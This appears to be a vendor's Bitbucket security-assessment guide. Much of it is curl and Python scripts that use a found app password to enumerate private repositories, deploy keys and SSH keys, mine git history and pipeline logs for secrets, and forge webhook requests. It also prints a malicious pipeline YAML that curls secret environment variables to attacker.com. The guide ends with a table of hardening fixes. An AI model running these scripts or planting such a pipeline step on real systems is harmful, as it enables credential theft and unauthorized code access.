Bitbucket (Cloud and Data Center) is Atlassian's code hosting platform used by thousands of enterprise development teams. Its security profile includes: app passwords โ long-lived credentials with no expiry and configurable scopes that are frequently over-privileged; Bitbucket Pipelines environment variables that appear in build logs when not properly masked; webhook HMAC secret validation that is optional and often disabled; and the Bitbucket Data Center REST API that exposes admin-level operations on self-hosted instances. Repository access misconfiguration โ particularly overly permissive workspace permissions โ enables unauthorized private repository access. This guide covers systematic Bitbucket security assessment.
Bitbucket app passwords are long-lived credentials scoped to specific API permissions. Unlike personal access tokens in other platforms, they do not expire by default and can carry any combination of read/write permissions across repositories, pull requests, and account settings.
# Bitbucket app password validation and scope discovery
BB_API="https://api.bitbucket.org/2.0"
USERNAME="bitbucket-username"
APP_PASSWORD="found-app-password"
# Validate credentials and get account info
curl -s -u "${USERNAME}:${APP_PASSWORD}" "${BB_API}/user" | python3 -c "
import json,sys
u=json.load(sys.stdin)
print(f'Account: {u.get(\"display_name\")} ({u.get(\"account_id\")})')
print(f'Type: {u.get(\"account_type\")}')
print(f'Links: {list(u.get(\"links\",{}).keys())}')
"
# Enumerate all accessible workspaces
curl -s -u "${USERNAME}:${APP_PASSWORD}" "${BB_API}/workspaces" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Workspaces: {d.get(\"size\")}')
for w in d.get('values',[]):
print(f' {w.get(\"name\")} (slug: {w.get(\"slug\")}) โ type: {w.get(\"type\")}')
"
# Enumerate all repositories across all workspaces
python3 << 'EOF'
import urllib.request, json, base64
USERNAME = "bitbucket-username"
APP_PASSWORD = "found-app-password"
BB_API = "https://api.bitbucket.org/2.0"
auth = base64.b64encode(f"{USERNAME}:{APP_PASSWORD}".encode()).decode()
headers = {"Authorization": f"Basic {auth}"}
# Get workspaces
req = urllib.request.Request(f"{BB_API}/workspaces", headers=headers)
workspaces = json.loads(urllib.request.urlopen(req).read())['values']
for ws in workspaces:
slug = ws['slug']
req = urllib.request.Request(f"{BB_API}/repositories/{slug}?pagelen=50", headers=headers)
repos = json.loads(urllib.request.urlopen(req).read())
print(f"\nWorkspace '{slug}': {repos.get('size')} repositories")
for r in repos.get('values', []):
print(f" {'[PRIVATE]' if r['is_private'] else '[public] '} {r['full_name']} โ {r.get('description','')[:60]}")
print(f" lang={r.get('language')} size={r.get('size')} updated={r.get('updated_on','')[:10]}")
EOF
# Search git history for secrets in all repos
git clone "https://${USERNAME}:${APP_PASSWORD}@bitbucket.org/workspace/repo.git" /tmp/repo
cd /tmp/repo && git log --all -p | grep -E 'password|secret|api.?key|token|credential' -A2 | head -100
Bitbucket workspace permissions and branching restrictions are frequently misconfigured. Public repositories in private workspaces, overly broad team permissions, and inherited access from Jira integrations can expose private code to unauthorized users.
# Repository access assessment
BB_API="https://api.bitbucket.org/2.0"
WORKSPACE="company-workspace"
AUTH="-u username:app_password"
# List all repos including private (checks actual access level)
curl -s ${AUTH} "${BB_API}/repositories/${WORKSPACE}?pagelen=100&q=is_private=true" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Private repos accessible: {d.get(\"size\")}')
for r in d.get('values',[]):
print(f' {r[\"full_name\"]} โ {r.get(\"description\",\"\")[:60]}')
links=r.get('links',{})
clone_links=links.get('clone',[])
for cl in clone_links:
if cl.get('name')=='https':
print(f' Clone: {cl[\"href\"]}')
"
# Check branch protection โ can we push to main/master?
REPO="workspace/sensitive-repo"
curl -s ${AUTH} "${BB_API}/repositories/${REPO}/branch-restrictions" | python3 -c "
import json,sys
restrictions=json.load(sys.stdin).get('values',[])
print(f'Branch restrictions: {len(restrictions)}')
for r in restrictions:
print(f' {r.get(\"kind\")} on {r.get(\"pattern\")} โ users: {[u.get(\"nickname\") for u in r.get(\"users\",[])]}')
if not restrictions:
print('NO BRANCH PROTECTION โ can push to any branch')
"
# Check deploy keys (SSH keys with repo access)
curl -s ${AUTH} "${BB_API}/repositories/${REPO}/deploy-keys" | python3 -c "
import json,sys
keys=json.load(sys.stdin).get('values',[])
print(f'Deploy keys: {len(keys)}')
for k in keys:
print(f' [{k[\"id\"]}] {k.get(\"label\")} โ created: {k.get(\"created_on\",\"\")[:10]}')
print(f' key: {k.get(\"key\",\"\")[:40]}...')
print(f' last used: {k.get(\"last_used\")}')
"
# Enumerate user SSH keys (account-level โ access all authorized repos)
curl -s ${AUTH} "${BB_API}/users/{account_id}/ssh-keys" | python3 -c "
import json,sys
keys=json.load(sys.stdin).get('values',[])
print(f'SSH keys: {len(keys)}')
for k in keys:
print(f' {k.get(\"label\")} โ {k.get(\"key\",\"\")[:50]}...')
"
Bitbucket Pipelines environment variables marked as "secured" are masked in logs โ but masking is bypassable. Variables passed to scripts via echo, printed in error traces, or used in commands that print their arguments appear in build logs in plaintext.
# Bitbucket Pipelines โ secret variable exposure and CI/CD attacks
BB_API="https://api.bitbucket.org/2.0"
WORKSPACE="company-workspace"
REPO="sensitive-repo"
AUTH="-u username:app_password"
# List Pipelines variables (secured variables show name but not value)
curl -s ${AUTH} "${BB_API}/repositories/${WORKSPACE}/${REPO}/pipelines_config/variables/" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Pipeline variables: {d.get(\"size\")}')
for v in d.get('values',[]):
secured='[SECURED]' if v.get('secured') else '[PLAINTEXT]'
print(f' {secured} {v.get(\"key\")} = {v.get(\"value\",\"***\")}')
"
# Read build logs โ search for accidentally exposed secrets
python3 << 'EOF'
import urllib.request, json, base64, re
USERNAME = "username"
APP_PASSWORD = "app_password"
BB_API = "https://api.bitbucket.org/2.0"
WORKSPACE = "company-workspace"
REPO = "sensitive-repo"
auth = base64.b64encode(f"{USERNAME}:{APP_PASSWORD}".encode()).decode()
headers = {"Authorization": f"Basic {auth}"}
# Get recent pipeline runs
req = urllib.request.Request(f"{BB_API}/repositories/{WORKSPACE}/{REPO}/pipelines/?sort=-created_on&pagelen=10", headers=headers)
pipelines = json.loads(urllib.request.urlopen(req).read())
secret_pattern = re.compile(r'(?:password|secret|token|key|credential)[=:\s]+([^\s\n]{8,})', re.IGNORECASE)
for p in pipelines.get('values', []):
pid = p['uuid']
# Get steps for this pipeline
req = urllib.request.Request(f"{BB_API}/repositories/{WORKSPACE}/{REPO}/pipelines/{pid}/steps/", headers=headers)
steps = json.loads(urllib.request.urlopen(req).read())
for step in steps.get('values', []):
sid = step['uuid']
# Get step log
try:
req = urllib.request.Request(f"{BB_API}/repositories/{WORKSPACE}/{REPO}/pipelines/{pid}/steps/{sid}/log", headers=headers)
log = urllib.request.urlopen(req).read().decode('utf-8', errors='replace')
matches = secret_pattern.findall(log)
if matches:
print(f"Pipeline {pid[:8]} Step {sid[:8]}: POSSIBLE SECRETS IN LOG")
for m in matches[:5]:
print(f" Found: {m[:60]}")
except: pass
EOF
# Add malicious bitbucket-pipelines.yml via API (requires write access)
# This demonstrates what a supply chain attack looks like
MALICIOUS_YAML=$(cat << 'EOF'
image: atlassian/default-image:3
pipelines:
default:
- step:
name: Build
script:
- echo "Legitimate build step"
- env | grep -iE 'TOKEN|SECRET|KEY|PASS' | base64 | curl -s -d@- http://attacker.com/collect
- exit 0
EOF
)
echo "Malicious pipeline YAML prepared (would require commit access to deploy)"
Bitbucket webhooks can optionally include a secret that the receiving server should use to verify HMAC-SHA256 signatures. When verification is disabled on the receiving server, an attacker can send forged webhook payloads to trigger CI/CD pipelines, deployment scripts, or automation workflows.
# Bitbucket webhook security assessment
BB_API="https://api.bitbucket.org/2.0"
WORKSPACE="company-workspace"
REPO="sensitive-repo"
AUTH="-u username:app_password"
# Enumerate webhooks (reveals target URLs and configured events)
curl -s ${AUTH} "${BB_API}/repositories/${WORKSPACE}/${REPO}/hooks" | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'Webhooks: {d.get(\"size\")}')
for h in d.get('values',[]):
print(f' [{h[\"uuid\"]}] {h.get(\"description\")}')
print(f' URL: {h.get(\"url\")}')
print(f' Events: {h.get(\"events\")}')
print(f' Secret: {\"[SET]\" if h.get(\"secret\") else \"[NONE โ no HMAC validation]\"}')
print(f' Active: {h.get(\"active\")}')
"
# Test if webhook endpoint validates HMAC signature
WEBHOOK_URL="https://deploy.company.com/bitbucket/webhook"
# Send forged push event without valid HMAC signature
curl -s -X POST "${WEBHOOK_URL}" \
-H "Content-Type: application/json" \
-H "X-Event-Key: repo:push" \
-H "X-Hub-Signature: sha256=0000000000000000000000000000000000000000000000000000000000000000" \
-d '{
"push": {
"changes": [{
"commits": [{"hash": "abc123", "message": "security test"}],
"new": {"name": "main", "target": {"hash": "abc123"}}
}]
},
"repository": {"full_name": "company-workspace/sensitive-repo"}
}' -o /dev/null -w "Forged webhook: HTTP %{http_code}\n"
# If 200 returned, HMAC validation is disabled
# Deploy scripts triggered by this webhook run without verifying the source
# Enumerate all workspace webhooks (requires workspace admin)
curl -s ${AUTH} "${BB_API}/workspaces/${WORKSPACE}/hooks" | python3 -c "
import json,sys
d=json.load(sys.stdin)
for h in d.get('values',[]):
print(f'Workspace webhook: {h.get(\"url\")} events={h.get(\"events\")}')
"
Ironimo can assess your Bitbucket environment for app password exposure, Pipelines secret leakage, webhook HMAC misconfiguration, private repository access issues, and CI/CD pipeline injection risks.
Start free scan| Issue | Default State | Fix |
|---|---|---|
| App password no expiry | No expiration by default | Enforce app password rotation policy; use OAuth2 tokens with expiry for CI/CD; audit unused app passwords |
| Pipelines variables in logs | Masking bypassable | Use Bitbucket Deployments for secrets; never echo secured variables; use external secret manager (Vault, AWS SM) |
| Webhook HMAC not enforced | Optional โ receiving server must validate | Enable HMAC secret on all webhooks; implement signature validation on receiving server; reject webhooks without valid sig |
| No branch protection | None by default | Enable merge checks; require PR approval; restrict direct push to main/master; enable required status checks |
| Deploy keys no expiry or last-used tracking | Permanent access until deleted | Audit deploy key last-used dates; delete unused keys; prefer OAuth2 over SSH keys for automation |
| Workspace-level secrets accessible to all repos | Workspace vars available to all pipelines | Scope secrets to specific repositories/environments; use repository-level variables for sensitive credentials |